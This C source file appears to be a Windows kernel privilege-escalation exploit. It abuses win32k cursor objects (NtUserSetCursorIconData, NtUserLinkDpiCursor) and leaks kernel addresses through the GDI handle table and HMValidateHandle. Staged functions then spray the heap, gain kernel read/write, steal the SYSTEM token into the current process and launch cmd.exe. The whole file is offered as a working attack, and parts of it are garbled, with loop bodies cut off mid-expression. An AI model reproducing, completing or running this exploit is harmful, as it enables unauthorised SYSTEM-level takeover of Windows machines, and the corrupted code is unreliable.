#include #include #include #include #include #include #include #pragma comment(lib, "psapi.lib") #pragma comment(lib,"user32.lib") #pragma comment(lib,"Gdi32.lib") #pragma comment(lib, "ntdll.lib") typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL; #define MAX_LOG_MESSAGE 1024 typedef struct _LARGE_UNICODE_STRING { ULONG Length; // 000 ULONG MaximumLength:31; // 004 ULONG bAnsi:1; // 004 PWSTR Buffer; // 008 } LARGE_UNICODE_STRING ,*PLARGE_UNICODE_STRING; typedef struct tagWND{ DWORD HANDLE; DWORD Type; DWORD revered1; DWORD revered2; DWORD self; DWORD revered3; DWORD reverse4; DWORD style; DWORD WndStyle; DWORD reverse5; } WND,*PWND; typedef struct tagCURSORDATA { int field_0; int field_4; int rt; int CURSORF_flags; int bpp; HBITMAP hbmMask; HBITMAP hmbColor; int linkFlag; int field_20; int field_24; int field_28; int field_2C; int field_30; int field_34; int field_38; int field_3C; int cpcur; int cicur; HCURSOR* aspcur; int aicur; DWORD ajifRate; int field_54; }CURSORDATA, *PCURSORDATA; typedef struct tagCursor{ DWORD field_0; DWORD field_4; DWORD field_8; DWORD process; DWORD field_10; DWORD nextCursor; DWORD dpiHead;; DWORD field_1C; DWORD field_20; DWORD field_24; DWORD field_28; DWORD flag; } CURSOR,* pCURSOR; #ifdef _WIN64 typedef void*(NTAPI *lHMValidateHandle)(HWND h, int type); #else typedef void*(__fastcall *lHMValidateHandle)(HWND h, int type); #endif typedef struct _PEBB { #ifdef _WIN64 UCHAR ignored[0xf8]; #else UCHAR ignored[0x94]; #endif PVOID GdiSharedHandleTable; } PEBB, *PPEBB; typedef struct _GDICELLL { PVOID pKernelAddress; USHORT wProcessId; USHORT wCount; USHORT wUpper; USHORT wType; PVOID pUserAddress; } GDICELLL, *PGDICELLL; typedef struct _PROCESS_BASIC_INFORMATIONN { NTSTATUS ExitStatus; PVOID PebBaseAddress; ULONG_PTR AffinityMask; LONG BasePriority; HANDLE UniqueProcessId; HANDLE InheritedFromUniqueProcessId; } PROCESS_BASIC_INFORMATIONN, *PPROCESS_BASIC_INFORMATIONN; typedef enum _PROCESSINFOCLASSS { SystemProcessBasicInformation = 0 } PROCESSINFOCLASSS; typedef NTSTATUS(WINAPI *PNtQueryInformationProcess)( _In_ HANDLE ProcessHandle, _In_ PROCESSINFOCLASSS ProcessInformationClass, _Out_ PVOID ProcessInformation, _In_ ULONG ProcessInformationLength, _Out_opt_ PULONG ReturnLength ); typedef void *(NTAPI *NTUSERCALLONEPARAM) ( IN ULONG Param, IN ULONG Routine ); typedef void *(NTAPI*NTUSERSETCURSORICONDATA) ( IN HCURSOR , IN PUNICODE_STRING , IN PUNICODE_STRING , IN PCURSORDATA ); typedef void *( NTAPI* NTUSERDESTROYCURSOR) ( HCURSOR, DWORD ); typedef void *(NTAPI * NTUSERLINKDPICURSOR) ( HCURSOR, HCURSOR, DWORD ); typedef void * (NTAPI *NTUSERDEFSETTEXT) ( HWND, PLARGE_UNICODE_STRING ); typedef void * (NTAPI *NTRTLINITLARGEUNICODESTRING) ( PLARGE_UNICODE_STRING , char *, int, int ); typedef DWORD (NTAPI *NTUserGetAncestor) ( LONG, LONG ); char * createBuffer(int length){ char * res= (char*) malloc(length); int i=0; for (i=0;i= len) /* end of block, not really printing */ { putchar(' '); } else if(isprint(((char*)mem)[j])) /* printable char */ { putchar(0xFF & ((char*)mem)[j]); } else /* other char */ { putchar('.'); } } putchar('\n'); } } } BOOL LogMessage(LEVEL Level, LPCTSTR Format, ...) { TCHAR Buffer[MAX_LOG_MESSAGE] = { 0 }; va_list Args; va_start(Args, Format); StringCchVPrintf(Buffer, MAX_LOG_MESSAGE, Format, Args); va_end(Args); switch (Level) { case L_DEBUG: _ftprintf(stdout, TEXT("[?] %s\n"), Buffer); break; case L_INFO: _ftprintf(stdout, TEXT("[+] %s\n"), Buffer); break; case L_WARN: _ftprintf(stderr, TEXT("[*] %s\n"), Buffer); break; case L_ERROR: _ftprintf(stderr, TEXT("[!] %s\n"), Buffer); break; } fflush(stdout); fflush(stderr); return TRUE; } int LEAK(HANDLE hbm) { DWORD pid=GetCurrentProcessId(); HMODULE ntdll = GetModuleHandle(TEXT("ntdll")); PNtQueryInformationProcess query = (PNtQueryInformationProcess)GetProcAddress(ntdll, "NtQueryInformationProcess"); if (query == NULL) { LogMessage(L_INFO,"GetProcAddress() failed.\n"); return 1; } LoadLibraryA("gdi32.dll"); ULONG dwReturned = 0; PROCESS_BASIC_INFORMATIONN processBasicInfo = { 0x0 }; NTSTATUS status = query(GetCurrentProcess(), SystemProcessBasicInformation, &processBasicInfo, sizeof(PROCESS_BASIC_INFORMATIONN), &dwReturned); PPEBB peb = (PPEBB)HeapAlloc(GetProcessHeap(), 0, sizeof(PEBB)); ReadProcessMemory(GetCurrentProcess(), processBasicInfo.PebBaseAddress, peb, sizeof(PEBB), NULL); DWORD count = 0x8fff; PGDICELLL gdiTable = (PGDICELLL)HeapAlloc(GetProcessHeap(), 0, sizeof(GDICELLL) * count); ReadProcessMemory(GetCurrentProcess(), peb->GdiSharedHandleTable, gdiTable, sizeof(GDICELLL) * count, NULL); for (unsigned int i = 0; i < count; i++) { GDICELLL cell = gdiTable[i]; if (cell.pKernelAddress == (void *)0xCDCDCDCD) { break; } if (cell.pKernelAddress == 0x00000000) { continue; } if (cell.wProcessId!=pid){ continue; } HANDLE gdiHandle = (HANDLE)((cell.wUpper << 16) + i); if ((HBITMAP)gdiHandle!=hbm){ continue; } return (int)cell.pKernelAddress; #ifdef _WIN64 LogMessage(L_INFO,"Kernel address: 0x%llx, GDI Handle: 0x%llx, Process ID: %d\r\n", cell.pKernelAddress, gdiHandle, cell.wProcessId); #else LogMessage(L_INFO,"Kernel address: 0x%X, GDI Handle: 0x%X, Process ID: %d\r\n", cell.pKernelAddress, gdiHandle, cell.wProcessId); #endif } return 0; } typedef struct _wndPair { unsigned int addr; HWND handle; }wndPair; int compare(const void *a ,const void *b){ wndPair * pair1=(wndPair *) a; wndPair * pair2=(wndPair *) b; return pair1->addr-pair2->addr; } typedef struct _BITMAPPair { unsigned int addr; HBITMAP handle; }bitmapPair; int comparePallette(const void *a ,const void *b){ bitmapPair * pair1=(bitmapPair *) a; bitmapPair * pair2=(bitmapPair *) b; return pair1->addr-pair2->addr; } /////////////////////////////////////////////////////////////////////// ///////////////////////EXPLOIT START/////////////////////////////////// /////////////////////////////////////////////////////////////////////// HCURSOR hCur1; HCURSOR hCur2; HBITMAP hbm1; HBITMAP hbm2; UNICODE_STRING uniModName; NTUSERSETCURSORICONDATA NtUserSetCursorIconData; NTUSERCALLONEPARAM NtUserCallOneParam; NTUSERDESTROYCURSOR NtUserDestroyCursor ; NTUSERLINKDPICURSOR NtUserLinkDpiCursor ; NTUSERDEFSETTEXT NtUserDefSetText; NTRTLINITLARGEUNICODESTRING RtlInitLargeUnicodeString; NTUserGetAncestor NtUserGetAncestor; HMODULE user32; PCURSORDATA CurData; char * atbuff; char * bmbuff; CONST LONG maxTimes = 0x200; CONST LONG tmpTimes = 0x2000; static bitmapPair hbitmaps[maxTimes] = { NULL }; static HCURSOR hcursors[maxTimes] ={NULL}; static HWND hwnds[maxTimes]={NULL}; //RECT rc = { 0x253,0xa,0x524,0x28a }; //HWND hwnd = ExCreateWindow(0, TEXT("Fuck"), 0x80188, 0xc2ff0000, &rc); HWND ExCreateWindow(DWORD dwCSStyle, LPCTSTR lpszWndName, DWORD dwWndStyleEx, DWORD dwStyle, LPRECT lprc,DWORD cbwndExtra) { HWND Hwnd = NULL; WNDCLASSEX wndClass = { 0 }; wndClass.cbSize = sizeof(wndClass); wndClass.lpszClassName = lpszWndName; wndClass.cbWndExtra=cbwndExtra; wndClass.style = dwCSStyle; wndClass.lpfnWndProc = DefWindowProc; wndClass.hInstance = GetModuleHandle(NULL); RegisterClassEx(&wndClass); Hwnd = CreateWindowEx(dwWndStyleEx, lpszWndName, lpszWndName, dwStyle, lprc->left, lprc->top, lprc->right-lprc->left, lprc->bottom-lprc->top, NULL,NULL, NULL, NULL); SetWindowRgn(Hwnd,CreateRectRgn(0,0,0,0),0); return Hwnd; } //////////////////////////////////////////LEAK WND //////////////////////////// lHMValidateHandle pHmValidateHandle = NULL; typedef struct _HEAD { HANDLE h; DWORD cLockObj; } HEAD, *PHEAD; typedef struct _THROBJHEAD { HEAD h; PVOID pti; } THROBJHEAD, *PTHROBJHEAD; // typedef struct _THRDESKHEAD { THROBJHEAD h; PVOID rpdesk; PVOID pSelf; // points to the kernel mode address } THRDESKHEAD, *PTHRDESKHEAD; BOOL FindHMValidateHandle() { HMODULE hUser32 = LoadLibraryA("user32.dll"); if (hUser32 == NULL) { printf("Failed to load user32"); return FALSE; } BYTE* pIsMenu = (BYTE *)GetProcAddress(hUser32, "IsMenu"); if (pIsMenu == NULL) { printf("Failed to find location of exported function 'IsMenu' within user32.dll\n"); return FALSE; } unsigned int uiHMValidateHandleOffset = 0; for (unsigned int i = 0; i < 0x1000; i++) { BYTE* test = pIsMenu + i; if (*test == 0xE8) { uiHMValidateHandleOffset = i + 1; break; } } if (uiHMValidateHandleOffset == 0) { printf("Failed to find offset of HMValidateHandle from location of 'IsMenu'\n"); return FALSE; } unsigned int addr = *(unsigned int *)(pIsMenu + uiHMValidateHandleOffset); unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr; //The +11 is to skip the padding bytes as on Windows 10 these aren't nops pHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 15); return TRUE; } ////////////////////////////////LEAK WND//////////////////////////// static wndPair wndarrays[maxTimes] = { NULL }; static BOOL xxCreateWindows() { BOOL bReturn = FALSE; // 0x64*4+0x58+8=0x1f0 RECT rc = { 0x253,0xa,0x524,0x28a }; for (LONG i = 0; i < maxTimes; i++) { wndarrays[i].handle = ExCreateWindow(0, TEXT("Fuck"), 0x80188, 0xc2ff0000, &rc,0); PTHRDESKHEAD tagWND = (PTHRDESKHEAD)pHmValidateHandle(wndarrays[i].handle, 1); wndarrays[i].addr=(unsigned int)tagWND->pSelf; //LogMessage(L_INFO,"Kernel memory address: 0x%x, tagTHREAD memory address: 0x%x\n", tagWND->pSelf, tagWND->h.pti); if (wndarrays[i].handle == NULL) { bReturn = FALSE; break; } bReturn = TRUE; } return bReturn; } int pick; int pickP; void Stage0(){ RtlInitUnicodeString(&uniModName, L"user32"); BOOL bFound = FindHMValidateHandle(); if (!bFound) { printf("Failed to locate HmValidateHandle, exiting\n"); exit(1); } user32 = LoadLibraryA("user32.dll"); NtUserSetCursorIconData =(NTUSERSETCURSORICONDATA ) (0x3A970 +(long)user32); NtUserCallOneParam=(NTUSERCALLONEPARAM )(0x38A40 +(long)user32); NtUserDestroyCursor = (NTUSERDESTROYCURSOR )(0x38DD0+(long)user32); NtUserLinkDpiCursor = (NTUSERLINKDPICURSOR )(0x3E6B0+(long)user32); NtUserDefSetText = (NTUSERDEFSETTEXT)(0x38660+(long)user32); NtUserGetAncestor =(NTUserGetAncestor)(0x396D0+(long)user32); RtlInitLargeUnicodeString=(NTRTLINITLARGEUNICODESTRING)(0xF3F4 +(long)user32); LogMessage(L_INFO,TEXT("PID: %x"),GetCurrentProcessId()); LogMessage(L_INFO, TEXT("user32=0x%p"), user32); LogMessage(L_INFO, TEXT("HMValidateHandle=0x%p"),pHmValidateHandle ); LogMessage(L_INFO, TEXT("NtUserSetCursorIconData=0x%p"), NtUserSetCursorIconData); LogMessage(L_INFO, TEXT("NtUserCallOneParam=0x%p"), NtUserCallOneParam); LogMessage(L_INFO, TEXT("NtUserDestroyCursor=0x%p"), NtUserDestroyCursor); LogMessage(L_INFO, TEXT("NtUserLinkDpiCursor=0x%p"), NtUserLinkDpiCursor); LogMessage(L_INFO, TEXT("NtUserDefSetText=0x%p"), NtUserDefSetText); LogMessage(L_INFO, TEXT("RtlInitLargeUnicodeString=0x%p"), RtlInitLargeUnicodeString); } void Stage1(){ xxCreateWindows(); qsort(wndarrays,maxTimes,sizeof(wndPair),compare); DWORD min=0xFFFFFFF; int i; for(i=0;ihbmMask=hbm; CurData->CURSORF_flags=0x6530dec6 ; CurData->hmbColor=hbm; CurData->cpcur=4; CurData->hmbColor=hbm2; CurData->hbmMask=hbm1; CurData->ajifRate=CurData->cpcur*4; CurData->aicur=CurData->ajifRate; CurData->cicur=0; CurData->aicur=CurData->ajifRate; int * cData=(int*) CurData; cData[0xE]=1; cData[0xF]=1; } /* Trigger condition */ void Stage3(){ NtUserSetCursorIconData(hCur2, &uniModName, &uniModName,(PCURSORDATA) CurData); NtUserLinkDpiCursor(hCur1,hCur2,0x20); NtUserSetCursorIconData(hCur2, &uniModName, &uniModName,(PCURSORDATA) CurData); } /* Make Hole */ HWND hwnd; void Stage4(){ int i; for (i=0;inextCursor=(DWORD)wndarrays[pick-1].addr+0x90-0x18; for(i=1;iFlink currentEPROCESS =flink-0xB8; int pid=readDWORD(currentEPROCESS+0x0b4); LogMessage(L_INFO,"Next: 0x%x",flink); LogMessage(L_INFO,"Current EPROCESS: 0x%x",currentEPROCESS); LogMessage(L_INFO,"Current Process ID %d",pid); if (pid==currentPID){ writeDWORD(currentEPROCESS+0x0f4,readDWORD(sysEPROCESS+0x0f4));//Write TOKEN break; } } } void Stage9(){ STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory( &si, sizeof(si) ); si.cb = sizeof(si); ZeroMemory( &pi, sizeof(pi) ); // Start the child process. if( !CreateProcess( NULL, // No module name (use command line) "cmd.exe", // Command line NULL, // Process handle not inheritable NULL, // Thread handle not inheritable FALSE, // Set handle inheritance to FALSE 0, // No creation flags NULL, // Use parent's environment block NULL, // Use parent's starting directory &si, // Pointer to STARTUPINFO structure &pi ) // Pointer to PROCESS_INFORMATION structure ) { LogMessage(L_INFO,"Create Process Failed!!!"); return; } // Wait until child process exits. WaitForSingleObject( pi.hProcess, INFINITE ); // Close process and thread handles. CloseHandle( pi.hProcess ); CloseHandle( pi.hThread ); } void main() { LogMessage(L_INFO,TEXT("Stage 0: Initialization")); Stage0(); LogMessage(L_INFO,TEXT("Stage 1: Prepare WNDs")); Stage1(); LogMessage(L_INFO,TEXT("Stage 2: Create Cursor Object")); Stage2(); LogMessage(L_INFO,TEXT("Stage 3: Link Cursor")); Stage3(); LogMessage(L_INFO,TEXT("Stage 4: Make hole!")); Stage4(); LogMessage(L_INFO,TEXT("Stage 5: Heap Spray")); Stage5(); LogMessage(L_INFO,TEXT("Stage 6: Trigger")); Stage6(); LogMessage(L_INFO,TEXT("Stage 7: GOT Full RW")); Stage7(); LogMessage(L_INFO,TEXT("Stage 8: PrivilegeElevation")); Stage8(); LogMessage(L_INFO,TEXT("Stage 9: Fork CMD")); Stage9(); LogMessage(L_INFO,TEXT("GetLastError()=0x%x"),GetLastError()); }